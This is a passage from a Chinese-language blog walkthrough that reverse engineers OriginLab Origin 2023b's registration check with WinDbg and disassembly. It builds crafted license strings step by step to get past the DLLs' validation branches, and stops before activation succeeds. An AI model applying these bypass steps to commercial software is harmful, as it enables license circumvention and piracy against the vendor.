<li>获取REGID在license text中的index</li>
<li>如果index为-1(license text中不存在REGID)或者0(REGID位于license text的开头),则返回1,同时传出参数为空</li>
<li>否则从license text的<code>index+len('REGID')+1</code>的位置开始截取长度为0xB的字符串填充到传出参数,另外第一个参数,也就是我们输入的license text也发生了变化,index及之后的字符都被丢弃了</li>
</ul>
<p>然后再次调用</p>
<p><img alt="image-20230731152625752" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/SuIlBqrZKK.jpg"></p>
<p>可以看到该函数第二次调用的返回值会直接影响到最终的返回值,0x191即401,也就是license text验证失败的错误代码</p>
<p><img alt="image-20230731152809407" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/BZWlEvdvDS.jpg"></p>
<p>很显然我们不希望最后返回401,因此我们要控制al不为0,那我们就可以构造出如下的license text来控制al为1</p>
<div class="highlight"><pre><span></span><code><span class="mf">0</span><span class="n">FSN0123456789abcdefghijkREGIDABCDEFGHIJKLMNOPQRSTUVWXYZ</span>
</code></pre></div>
<p>然后函数<code>sub_180136A90</code>两次调用的传出参数将会分别作为函数<code>okuCountTotalSeries</code>的参数被调用</p>
<div class="highlight"><pre><span></span><code><span class="mi">0</span><span class="o">:</span><span class="mi">000</span><span class="o">></span><span class="w"> </span><span class="n">dc</span><span class="w"> </span><span class="n">rcx</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">fa7c2a28</span><span class="w"> </span><span class="mi">45444342</span><span class="w"> </span><span class="mi">49484746</span><span class="w"> </span><span class="mi">004</span><span class="n">c4b4a</span><span class="w"> </span><span class="mi">005</span><span class="n">c6174</span><span class="w"> </span><span class="n">BCDEFGHIJKL</span><span class="o">.</span><span class="na">ta</span><span class="o">\.</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">fa7c2a38</span><span class="w"> </span><span class="n">fa7c2958</span><span class="w"> </span><span class="mi">0000015</span><span class="n">f</span><span class="w"> </span><span class="mi">0000000</span><span class="n">f</span><span class="w"> </span><span class="n">baadf00d</span><span class="w"> </span><span class="n">X</span><span class="o">)|.</span><span class="n">_</span><span class="o">...........</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">fa7c2a48</span><span class="w"> </span><span class="mi">003</span><span class="n">d4c43</span><span class="w"> </span><span class="mi">33323632</span><span class="w"> </span><span class="mi">62302</span><span class="n">e00</span><span class="w"> </span><span class="mi">005</span><span class="n">c6100</span><span class="w"> </span><span class="n">CL</span><span class="o">=.</span><span class="mi">2623</span><span class="o">..</span><span class="mi">0</span><span class="n">b</span><span class="o">.</span><span class="na">a</span><span class="o">\.</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">fa7c2a58</span><span class="w"> </span><span class="mi">00000001</span><span class="w"> </span><span class="mi">00000001</span><span class="w"> </span><span class="mi">0000000</span><span class="n">f</span><span class="w"> </span><span class="n">baadf00d</span><span class="w"> </span><span class="o">................</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">fa7c2a68</span><span class="w"> </span><span class="mi">44500003</span><span class="w"> </span><span class="mi">2</span><span class="n">e324345</span><span class="w"> </span><span class="mi">00464446</span><span class="w"> </span><span class="n">baadf00d</span><span class="w"> </span><span class="o">..</span><span class="n">PDEC2</span><span class="o">.</span><span class="na">FDF</span><span class="o">.....</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">fa7c2a78</span><span class="w"> </span><span class="mi">00000001</span><span class="w"> </span><span class="mi">00000002</span><span class="w"> </span><span class="mi">0000000</span><span class="n">f</span><span class="w"> </span><span class="n">baadf00d</span><span class="w"> </span><span class="o">................</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">fa7c2a88</span><span class="w"> </span><span class="mi">44004303</span><span class="w"> </span><span class="mi">2</span><span class="n">e334345</span><span class="w"> </span><span class="mi">00464446</span><span class="w"> </span><span class="n">baadf00d</span><span class="w"> </span><span class="o">.</span><span class="na">C</span><span class="o">.</span><span class="na">DEC3</span><span class="o">.</span><span class="na">FDF</span><span class="o">.....</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">fa7c2a98</span><span class="w"> </span><span class="mi">00000001</span><span class="w"> </span><span class="mi">00000001</span><span class="w"> </span><span class="mi">0000000</span><span class="n">f</span><span class="w"> </span><span class="n">baadf00d</span><span class="w"> </span><span class="o">................</span>
<span class="mi">0</span><span class="o">:</span><span class="mi">000</span><span class="o">></span><span class="w"> </span><span class="n">dc</span><span class="w"> </span><span class="n">rdx</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">eea4c868</span><span class="w"> </span><span class="mi">34333231</span><span class="w"> </span><span class="mi">38373635</span><span class="w"> </span><span class="mi">63626139</span><span class="w"> </span><span class="mi">67666564</span><span class="w"> </span><span class="mi">123456789</span><span class="n">abcdefg</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">eea4c878</span><span class="w"> </span><span class="mi">69006968</span><span class="w"> </span><span class="mi">62614</span><span class="n">c6e</span><span class="w"> </span><span class="mi">6369005</span><span class="n">c</span><span class="w"> </span><span class="mi">65736</span><span class="n">e65</span><span class="w"> </span><span class="n">hi</span><span class="o">.</span><span class="na">inLab</span><span class="o">\.</span><span class="n">icense</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">eea4c888</span><span class="w"> </span><span class="mi">51000000</span><span class="w"> </span><span class="mi">55545352</span><span class="w"> </span><span class="mi">59585756</span><span class="w"> </span><span class="mi">0000005</span><span class="n">a</span><span class="w"> </span><span class="o">...</span><span class="n">QRSTUVWXYZ</span><span class="o">...</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">eea4c898</span><span class="w"> </span><span class="n">eea4cb98</span><span class="w"> </span><span class="mi">0000015</span><span class="n">f</span><span class="w"> </span><span class="mi">0000002</span><span class="n">f</span><span class="w"> </span><span class="n">baadf00d</span><span class="w"> </span><span class="o">....</span><span class="n">_</span><span class="o">.../.......</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">eea4c8a8</span><span class="w"> </span><span class="mi">4</span><span class="n">e534630</span><span class="w"> </span><span class="mi">33323130</span><span class="w"> </span><span class="mi">37363534</span><span class="w"> </span><span class="mi">62613938</span><span class="w"> </span><span class="mi">0</span><span class="n">FSN0123456789ab</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">eea4c8b8</span><span class="w"> </span><span class="mi">66656463</span><span class="w"> </span><span class="mi">6</span><span class="n">a696867</span><span class="w"> </span><span class="mi">6369006</span><span class="n">b</span><span class="w"> </span><span class="mi">65736</span><span class="n">e65</span><span class="w"> </span><span class="n">cdefghijk</span><span class="o">.</span><span class="na">icense</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">eea4c8c8</span><span class="w"> </span><span class="mi">65630000</span><span class="w"> </span><span class="mi">0065736</span><span class="n">e</span><span class="w"> </span><span class="mi">36323532</span><span class="w"> </span><span class="mi">00003332</span><span class="w"> </span><span class="o">..</span><span class="n">cense</span><span class="o">.</span><span class="mi">252623</span><span class="o">..</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">eea4c8d8</span><span class="w"> </span><span class="mi">00000001</span><span class="w"> </span><span class="mi">00000013</span><span class="w"> </span><span class="mi">0000002</span><span class="n">f</span><span class="w"> </span><span class="n">baadf00d</span><span class="w"> </span><span class="o">......../.......</span>
</code></pre></div>
<h2>ok!okuCountTotalSeries</h2>
<p>该函数位于<code>C:\Program Files\OriginLab\Origin2023b\ok.dll</code></p>
<p><img alt="image-20230731162804040" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/KHplHxSlCM.jpg"></p>
<p>从上图中可以看出,我们需要控制函数<code>okuCountTotalSeries</code>的返回值不为0</p>
<p>那么我们就需要控制该函数内部的这两个分支,不能跳到<code>loc_180E0C1D7</code></p>
<p><img alt="image-20230731162949620" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/oEBnJbYFnf.jpg"></p>
<h2>ok!sub_180E0A430</h2>
<p>该函数代码不多,逻辑也是相当的简单</p>
<p><img alt="image-20230731163332758" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/slZWYNRAuU.jpg"></p>
<p>就是把我们传给函数<code>okuCountTotalSeries</code>的第2个参数,也就是字符串</p>
<div class="highlight"><pre><span></span><code><span class="mf">123456789</span><span class="n">abcdefghi</span>
<span class="mf">012345678901234567</span>
</code></pre></div>
<p>的0xB处开始拷贝出来,就是<code>cdefghi</code>,返回值就是<code>atol</code>函数的返回值,很显然,当前的注册码是没有办法转换成long的,因此我们需要把<code>cdefghi</code>改成<code>1234567</code></p>
<p>现在我们的注册码就变成了</p>
<div class="highlight"><pre><span></span><code><span class="mf">0</span><span class="n">FSN0123456789ab1234567jkREGIDABCDEFGHIJKLMNOPQRSTUVWXYZ</span>
</code></pre></div>
<h2>ok!sub_180DF8F70</h2>
<p>这个函数的内容有一点长,其传入的参数如下:</p>
<div class="highlight"><pre><span></span><code><span class="mi">0</span><span class="o">:</span><span class="mi">000</span><span class="o">></span><span class="w"> </span><span class="n">dc</span><span class="w"> </span><span class="n">rcx</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">fa7c3e88</span><span class="w"> </span><span class="mi">45444342</span><span class="w"> </span><span class="mi">49484746</span><span class="w"> </span><span class="mi">004</span><span class="n">c4b4a</span><span class="w"> </span><span class="mi">00006369</span><span class="w"> </span><span class="n">BCDEFGHIJKL</span><span class="o">.</span><span class="na">ic</span><span class="o">..</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">fa7c3e98</span><span class="w"> </span><span class="mi">00000001</span><span class="w"> </span><span class="mi">00000001</span><span class="w"> </span><span class="mi">0000000</span><span class="n">f</span><span class="w"> </span><span class="n">baadf00d</span><span class="w"> </span><span class="o">................</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">fa7c3ea8</span><span class="w"> </span><span class="mi">6</span><span class="n">d650030</span><span class="w"> </span><span class="mi">005</span><span class="n">c7365</span><span class="w"> </span><span class="mi">00332</span><span class="n">e32</span><span class="w"> </span><span class="mi">00007300</span><span class="w"> </span><span class="mi">0</span><span class="o">.</span><span class="na">emes</span><span class="o">\.</span><span class="mf">2.3</span><span class="o">..</span><span class="n">s</span><span class="o">..</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">fa7c3eb8</span><span class="w"> </span><span class="mi">00000001</span><span class="w"> </span><span class="mi">00000009</span><span class="w"> </span><span class="mi">0000000</span><span class="n">f</span><span class="w"> </span><span class="n">baadf00d</span><span class="w"> </span><span class="o">................</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">fa7c3ec8</span><span class="w"> </span><span class="mi">57746547</span><span class="w"> </span><span class="mi">6449646</span><span class="n">e</span><span class="w"> </span><span class="mi">746</span><span class="n">e0078</span><span class="w"> </span><span class="mi">006</span><span class="n">c6f72</span><span class="w"> </span><span class="n">GetWndIdx</span><span class="o">.</span><span class="na">ntrol</span><span class="o">.</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">fa7c3ed8</span><span class="w"> </span><span class="mi">00000001</span><span class="w"> </span><span class="mi">0000000</span><span class="n">f</span><span class="w"> </span><span class="mi">0000000</span><span class="n">f</span><span class="w"> </span><span class="n">baadf00d</span><span class="w"> </span><span class="o">................</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">fa7c3ee8</span><span class="w"> </span><span class="mi">4</span><span class="n">e746547</span><span class="w"> </span><span class="mi">65657254</span><span class="w"> </span><span class="mi">6</span><span class="n">e616843</span><span class="w"> </span><span class="mi">00736567</span><span class="w"> </span><span class="n">GetNTreeChanges</span><span class="o">.</span>
<span class="mi">0000015</span><span class="n">f</span><span class="err">`</span><span class="n">fa7c3ef8</span><span class="w"> </span><span class="mi">00000001</span><span class="w"> </span><span class="mi">0000000</span><span class="n">d</span><span class="w"> </span><span class="mi">0000000</span><span class="n">f</span><span class="w"> </span><span class="n">baadf00d</span><span class="w"> </span><span class="o">................</span>
<span class="mi">0</span><span class="o">:</span><span class="mi">000</span><span class="o">></span><span class="w"> </span><span class="n">r</span><span class="w"> </span><span class="n">rdx</span>
<span class="n">rdx</span><span class="o">=</span><span class="mi">0000000000000000</span>
<span class="mi">0</span><span class="o">:</span><span class="mi">000</span><span class="o">></span><span class="w"> </span><span class="n">r</span><span class="w"> </span><span class="n">r8</span>
<span class="n">r8</span><span class="o">=</span><span class="mi">0000000000000000</span>
</code></pre></div>
<p>我不想进去看了,直接看一下返回值,返回值是一个整型数,然后和函数<code>sub_180E0A430</code>的返回值进行了比较,如果两者不相等,最终就会返回0</p>
<p>那么很简单,我们只需要控制<code>sub_180E0A430</code>的返回值和该函数的返回值一样即可,当前函数的返回值是<code>0x42dded</code>,即<code>4382189</code>,再次更新我们的注册码</p>
<div class="highlight"><pre><span></span><code><span class="mf">0</span><span class="n">FSN0123456789ab4382189jkREGIDABCDEFGHIJKLMNOPQRSTUVWXYZ</span>
</code></pre></div>
<p>好了,现在我们重新回到<code>ou.dll</code>的函数<code>sub_18012EF30</code></p>
<h2>ou!loc_18012EFDC</h2>
<div class="highlight"><pre><span></span><code><span class="n">mov</span><span class="w"> </span><span class="n">dl</span><span class="p">,</span><span class="w"> </span><span class="mi">22</span><span class="n">h</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="s1">'"'</span>
<span class="n">lea</span><span class="w"> </span><span class="n">rcx</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="n">rbp</span><span class="o">+</span><span class="n">arg_10</span><span class="p">]</span>
<span class="n">call</span><span class="w"> </span><span class="n">cs</span><span class="p">:</span><span class="err">?</span><span class="n">ReverseFind</span><span class="err">@</span><span class="n">CStringUTF8</span><span class="err">@@</span><span class="n">QEBAHD</span><span class="err">@</span><span class="n">Z</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="n">CStringUTF8</span><span class="p">::</span><span class="n">ReverseFind</span><span class="p">(</span><span class="nb">char</span><span class="p">)</span>
<span class="n">lea</span><span class="w"> </span><span class="n">r8d</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="n">rax</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span>
<span class="n">lea</span><span class="w"> </span><span class="n">rdx</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="n">rbp</span><span class="o">+</span><span class="n">var_18</span><span class="p">]</span>
<span class="n">lea</span><span class="w"> </span><span class="n">rcx</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="n">rbp</span><span class="o">+</span><span class="n">arg_10</span><span class="p">]</span>
<span class="n">call</span><span class="w"> </span><span class="n">cs</span><span class="p">:</span><span class="err">?</span><span class="n">Left</span><span class="err">@</span><span class="n">CStringUTF8</span><span class="err">@@</span><span class="n">QEBA</span><span class="err">?</span><span class="n">AV1</span><span class="err">@</span><span class="n">H</span><span class="err">@</span><span class="n">Z</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="n">CStringUTF8</span><span class="p">::</span><span class="n">Left</span><span class="p">(</span><span class="nb nb-Type">int</span><span class="p">)</span>
<span class="n">nop</span>
<span class="n">mov</span><span class="w"> </span><span class="n">rax</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="n">rbp</span><span class="o">+</span><span class="n">var_20</span><span class="p">]</span>
<span class="n">mov</span><span class="w"> </span><span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mi">50</span><span class="n">h</span><span class="o">+</span><span class="n">var_30</span><span class="p">],</span><span class="w"> </span><span class="n">rax</span>
<span class="n">mov</span><span class="w"> </span><span class="n">r9</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="n">rbp</span><span class="o">+</span><span class="n">arg_18</span><span class="p">]</span>
<span class="n">xor</span><span class="w"> </span><span class="n">r8d</span><span class="p">,</span><span class="w"> </span><span class="n">r8d</span>
<span class="n">lea</span><span class="w"> </span><span class="n">rdx</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="n">rbp</span><span class="o">+</span><span class="n">arg_8</span><span class="p">]</span>
<span class="n">lea</span><span class="w"> </span><span class="n">rcx</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="n">rbp</span><span class="o">+</span><span class="n">var_18</span><span class="p">]</span>
<span class="n">call</span><span class="w"> </span><span class="n">sub_1801308E0</span>
<span class="n">mov</span><span class="w"> </span><span class="n">ecx</span><span class="p">,</span><span class="w"> </span><span class="mi">191</span><span class="n">h</span>
<span class="n">test</span><span class="w"> </span><span class="n">eax</span><span class="p">,</span><span class="w"> </span><span class="n">eax</span>
<span class="n">cmovz</span><span class="w"> </span><span class="n">edi</span><span class="p">,</span><span class="w"> </span><span class="n">ecx</span>
<span class="n">lea</span><span class="w"> </span><span class="n">rcx</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="n">rbp</span><span class="o">+</span><span class="n">var_18</span><span class="p">]</span>
<span class="n">call</span><span class="w"> </span><span class="n">cs</span><span class="p">:</span><span class="n">__imp_</span><span class="err">??</span><span class="mi">1</span><span class="n">CStringUTF8</span><span class="err">@@</span><span class="n">QEAA</span><span class="err">@</span><span class="n">XZ</span><span class="w"> </span><span class="p">;</span><span class="w"> </span><span class="n">CStringUTF8</span><span class="p">::</span><span class="o">~</span><span class="n">CStringUTF8</span><span class="p">(</span><span class="nb nb-Type">void</span><span class="p">)</span>
<span class="n">jmp</span><span class="w"> </span><span class="n">short</span><span class="w"> </span><span class="n">loc_18012F033</span>
</code></pre></div>
<p>上面汇编代码中的<code>[rbp+arg_10]</code>就是函数<code>sub_180136A90</code>的第1个参数,我们前面已经知道了该函数会改变自己第一个参数的内容,就是会把REGID和FSN及后面的字符都丢掉,那么到这里<code>[rbp+arg_10]</code>的值就是</p>
<div class="highlight"><pre><span></span><code><span class="mf">0</span>
</code></pre></div>
<p>这段代码做的事就是在<code>[rbp+arg_10]</code>找到<code>"</code>最后一次出现的位置,然后丢弃该位置之后的字符</p>
<p>最后调用函数<code>sub_1801308E0</code></p>
<h2>ou!sub_1801308E0</h2>
<p>我们先看一下参数传入情况</p>
<ul>
<li>1p:前面使用<code>"</code>截取出来的字符串</li>
<li>2p:传出参数</li>
<li>3p:0</li>
<li>4p:123456789ab4382189</li>
<li>5p:BCDEFGHIJKL</li>
</ul>
<p>该函数会检查第一个参数是否是空字符串,因为我们没有<code>"</code>,所以第一道检查就挂了</p>
<p>另外就是该函数的返回值也需要进行控制,根据<code>loc_18012EFDC</code>中的内容</p>
<div class="highlight"><pre><span></span><code>mov ecx, 191h
test eax, eax
cmovz edi, ecx
</code></pre></div>
<p>只有eax不为0,edi才不会变成0x191</p>
<p>因此我们需要经过该函数的重重检查,到达<code>loc_180130A1F</code></p>
<p><img alt="image-20230731171634145" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/fBlTorOqqB.jpg"></p>
<p>前面的检查都由CString类的函数完成,分析起来很简单,这里不再赘述,最终形成的注册码为:</p>
<div class="highlight"><pre><span></span><code>INCREMENTFEATUREorglabSIGN123456789""FSN09876543278L5824771TUVWXYZREGIDFSNABCDEFGHIJKLMNOPQRSTUVWXYZ
</code></pre></div>
<p>但是输入该注册码之后,并没有提示我们注册成功,虽然没有401报错了,但是我们的软件仍未被激活</p>
<p>仔细审查函数<code>sub_1801308E0</code>的代码,可以在函数尾部发现有一个叫做<code>COKAccess::GetTempViewportLimits</code>的函数被调用,其第1个参数为</p>
<div class="highlight"><pre><span></span><code>INCREMENTFEATUREorglabSIGN123456789""
</code></pre></div>
<p>进入该函数,一路跟到了<code>ok.dll</code>的<code>sub_18012DDA0</code></p>
<h2>ok!sub_18012DDA0</h2>
<p><img alt="image-20230731174604691" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/pugKKBrzNr.jpg"></p>
<p>在该函数下断点,我们可以观察到,注册码中的下面三部分被存储到了内存的特定位置中</p>
<div class="highlight"><pre><span></span><code>INCREMENTFEATUREorglabSIGN123456789""
9876543278L5824771
SNABCDEFGHI
</code></pre></div>
<p>我们记录下这三个字符串存储的内存地址,然后下内存读的条件断点</p>
<h2>通过内存访问断点定位检测代码</h2>
<p>我直接在这三个内存地址上下内存读断点</p>
<div class="highlight"><pre><span></span><code>ba r1 00000218`db5dab88
ba r1 00000218`db5dac08
ba r1 00000218`dc168aa8
</code></pre></div>
<p>最后在第二个断点被触发时得到如下调用栈</p>
<div class="highlight"><pre><span></span><code><span class="n">Breakpoint</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">hit</span>
<span class="n">ok</span><span class="o">!</span><span class="n">OSetNumericSettings</span><span class="p">::</span><span class="n">operator</span><span class="o">=+</span><span class="mh">0x403b</span><span class="p">:</span>
<span class="mi">00007</span><span class="n">ffc</span><span class="err">`</span><span class="mi">178</span><span class="n">eec1b</span><span class="w"> </span><span class="mi">0</span><span class="n">f95c0</span><span class="w"> </span><span class="n">setne</span><span class="w"> </span><span class="n">al</span>
<span class="mi">0</span><span class="p">:</span><span class="mi">000</span><span class="o">></span><span class="w"> </span><span class="n">k</span>
<span class="w"> </span><span class="c1"># Child-SP RetAddr Call Site</span>
<span class="mi">00</span><span class="w"> </span><span class="mi">000000</span><span class="n">ad</span><span class="err">`</span><span class="n">bfdff558</span><span class="w"> </span><span class="mi">00007</span><span class="n">ffc</span><span class="err">`</span><span class="mi">178</span><span class="n">ec37b</span><span class="w"> </span><span class="n">ok</span><span class="o">!</span><span class="n">OSetNumericSettings</span><span class="p">::</span><span class="n">operator</span><span class="o">=+</span><span class="mh">0x403b</span>
<span class="mi">01</span><span class="w"> </span><span class="mi">000000</span><span class="n">ad</span><span class="err">`</span><span class="n">bfdff560</span><span class="w"> </span><span class="mi">00007</span><span class="n">ffc</span><span class="err">`</span><span class="mi">17</span><span class="n">f4eae3</span><span class="w"> </span><span class="n">ok</span><span class="o">!</span><span class="n">OSetNumericSettings</span><span class="p">::</span><span class="n">operator</span><span class="o">=+</span><span class="mh">0x179b</span>
<span class="mi">02</span><span class="w"> </span><span class="mi">000000</span><span class="n">ad</span><span class="err">`</span><span class="n">bfdff5a0</span><span class="w"> </span><span class="mi">00007</span><span class="n">ffc</span><span class="err">`</span><span class="mi">17</span><span class="n">f54649</span><span class="w"> </span><span class="n">ok</span><span class="o">!</span><span class="n">okfxDoNewLegendEntries</span><span class="o">+</span><span class="mh">0x21b3</span>
<span class="mi">03</span><span class="w"> </span><span class="mi">000000</span><span class="n">ad</span><span class="err">`</span><span class="n">bfdff5e0</span><span class="w"> </span><span class="mi">00007</span><span class="n">ffc</span><span class="err">`</span><span class="mi">17</span><span class="n">f54f6d</span><span class="w"> </span><span class="n">ok</span><span class="o">!</span><span class="n">GetObjectPlotCategory</span><span class="p">::</span><span class="n">ObjectSeriesSetType</span><span class="o">+</span><span class="mh">0x1229</span>
<span class="mi">04</span><span class="w"> </span><span class="mi">000000</span><span class="n">ad</span><span class="err">`</span><span class="n">bfdff630</span><span class="w"> </span><span class="mi">00007</span><span class="n">ffc</span><span class="err">`</span><span class="mi">17</span><span class="n">f50673</span><span class="w"> </span><span class="n">ok</span><span class="o">!</span><span class="n">GetObjectPlotCategory</span><span class="p">::</span><span class="n">ObjectSeriesSetType</span><span class="o">+</span><span class="mh">0x1b4d</span>
<span class="mi">05</span><span class="w"> </span><span class="mi">000000</span><span class="n">ad</span><span class="err">`</span><span class="n">bfdffcb0</span><span class="w"> </span><span class="mi">00007</span><span class="n">ffc</span><span class="err">`</span><span class="mi">17</span><span class="n">f535c1</span><span class="w"> </span><span class="n">ok</span><span class="o">!</span><span class="n">GetObjectPlotCategory</span><span class="p">::</span><span class="n">DataSeriesGetProcessedData</span><span class="o">+</span><span class="mh">0xe93</span>
<span class="mi">06</span><span class="w"> </span><span class="mi">000000</span><span class="n">ad</span><span class="err">`</span><span class="n">bfdffce0</span><span class="w"> </span><span class="mi">00007</span><span class="n">ffc</span><span class="err">`</span><span class="mi">17955</span><span class="n">ded</span><span class="w"> </span><span class="n">ok</span><span class="o">!</span><span class="n">GetObjectPlotCategory</span><span class="p">::</span><span class="n">ObjectSeriesSetType</span><span class="o">+</span><span class="mh">0x1a1</span>
<span class="mi">07</span><span class="w"> </span><span class="mi">000000</span><span class="n">ad</span><span class="err">`</span><span class="n">bfdffd30</span><span class="w"> </span><span class="mi">00007</span><span class="n">ffc</span><span class="err">`</span><span class="mi">1</span><span class="n">a962731</span><span class="w"> </span><span class="n">ok</span><span class="o">!</span><span class="n">COKAccess</span><span class="p">::</span><span class="n">OkOnItemReDraw</span><span class="o">+</span><span class="mh">0x10d</span>
<span class="mi">08</span><span class="w"> </span><span class="mi">000000</span><span class="n">ad</span><span class="err">`</span><span class="n">bfdffdb0</span><span class="w"> </span><span class="mi">00007</span><span class="n">ffc</span><span class="err">`</span><span class="mi">33</span><span class="n">c70a7c</span><span class="w"> </span><span class="n">ou</span><span class="o">!</span><span class="n">COriginApp</span><span class="p">::</span><span class="n">OnIdle</span><span class="o">+</span><span class="mh">0xd1</span>
<span class="mi">09</span><span class="w"> </span><span class="mi">000000</span><span class="n">ad</span><span class="err">`</span><span class="n">bfdffe00</span><span class="w"> </span><span class="mi">00007</span><span class="n">ffc</span><span class="err">`</span><span class="mi">33</span><span class="n">ca3c20</span><span class="w"> </span><span class="n">mfc140u</span><span class="o">!</span><span class="n">CWinThread</span><span class="p">::</span><span class="n">Run</span><span class="o">+</span><span class="mh">0x5c</span><span class="w"> </span><span class="p">[</span><span class="n">D</span><span class="p">:</span>\<span class="n">a</span>\<span class="n">_work</span>\<span class="mi">1</span>\<span class="n">s</span>\<span class="n">src</span>\<span class="n">vctools</span>\<span class="n">VC7Libs</span>\<span class="n">Ship</span>\<span class="n">ATLMFC</span>\<span class="n">Src</span>\<span class="n">MFC</span>\<span class="n">thrdcore</span><span class="o">.</span><span class="n">cpp</span><span class="w"> </span><span class="err">@</span><span class="w"> </span><span class="mi">621</span><span class="p">]</span><span class="w"> </span>
<span class="mi">0</span><span class="n">a</span><span class="w"> </span><span class="mi">000000</span><span class="n">ad</span><span class="err">`</span><span class="n">bfdffe40</span><span class="w"> </span><span class="mi">00007</span><span class="n">ff6</span><span class="err">`</span><span class="mi">625</span><span class="n">ea44e</span><span class="w"> </span><span class="n">mfc140u</span><span class="o">!</span><span class="n">AfxWinMain</span><span class="o">+</span><span class="mh">0xc0</span><span class="w"> </span><span class="p">[</span><span class="n">D</span><span class="p">:</span>\<span class="n">a</span>\<span class="n">_work</span>\<span class="mi">1</span>\<span class="n">s</span>\<span class="n">src</span>\<span class="n">vctools</span>\<span class="n">VC7Libs</span>\<span class="n">Ship</span>\<span class="n">ATLMFC</span>\<span class="n">Src</span>\<span class="n">MFC</span>\<span class="n">winmain</span><span class="o">.</span><span class="n">cpp</span><span class="w"> </span><span class="err">@</span><span class="w"> </span><span class="mi">61</span><span class="p">]</span><span class="w"> </span>
<span class="mi">0</span><span class="n">b</span><span class="w"> </span><span class="mi">000000</span><span class="n">ad</span><span class="err">`</span><span class="n">bfdffe80</span><span class="w"> </span><span class="mi">00007</span><span class="n">ffc</span><span class="err">`</span><span class="mi">651</span><span class="n">a7614</span><span class="w"> </span><span class="n">Origin64</span><span class="o">+</span><span class="mh">0xa44e</span>
<span class="mi">0</span><span class="n">c</span><span class="w"> </span><span class="mi">000000</span><span class="n">ad</span><span class="err">`</span><span class="n">bfdffec0</span><span class="w"> </span><span class="mi">00007</span><span class="n">ffc</span><span class="err">`</span><span class="mi">654</span><span class="n">a26b1</span><span class="w"> </span><span class="n">KERNEL32</span><span class="o">!</span><span class="n">BaseThreadInitThunk</span><span class="o">+</span><span class="mh">0x14</span>
<span class="mi">0</span><span class="n">d</span><span class="w"> </span><span class="mi">000000</span><span class="n">ad</span><span class="err">`</span><span class="n">bfdffef0</span><span class="w"> </span><span class="mi">00000000</span><span class="err">`</span><span class="mi">00000000</span><span class="w"> </span><span class="n">ntdll</span><span class="o">!</span><span class="n">RtlUserThreadStart</span><span class="o">+</span><span class="mh">0x21</span>
</code></pre></div>
<p>稍加整理,即可得到函数的调用顺序,我们只取出调用栈中的前几个即可,整理出来如下的调用栈</p>
<div class="highlight"><pre><span></span><code><span class="n">sub_180793590</span>
<span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">sub_180790520</span><span class="w"> </span><span class="err">调用点:</span><span class="mh">0x18079066E</span>
<span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">sub_180794B10</span>
<span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">sub_180794600</span>
<span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">sub_18078EAC0</span><span class="w"> </span>
<span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">sub_18012C360</span>
<span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">sub_18012EC10</span>
</code></pre></div>
<p>这里面的函数代码一个比一个长,简单放一个拓扑图感受一下</p>
<p><img alt="image-20230801012233407" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/bILIdUEKCZ.jpg"></p>
<p>所以这些函数我都是大致浏览了一下,其中函数<code>sub_180790520</code>吸引到了我的注意</p>
<p>在下面这个地方(<code>0x18079066E</code>),函数调用了<code>sub_180794B10</code>,而这个函数的返回值决定了分支的走向</p>
<p><img alt="image-20230801012617114" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/RDmKPLBMCG.jpg"></p>
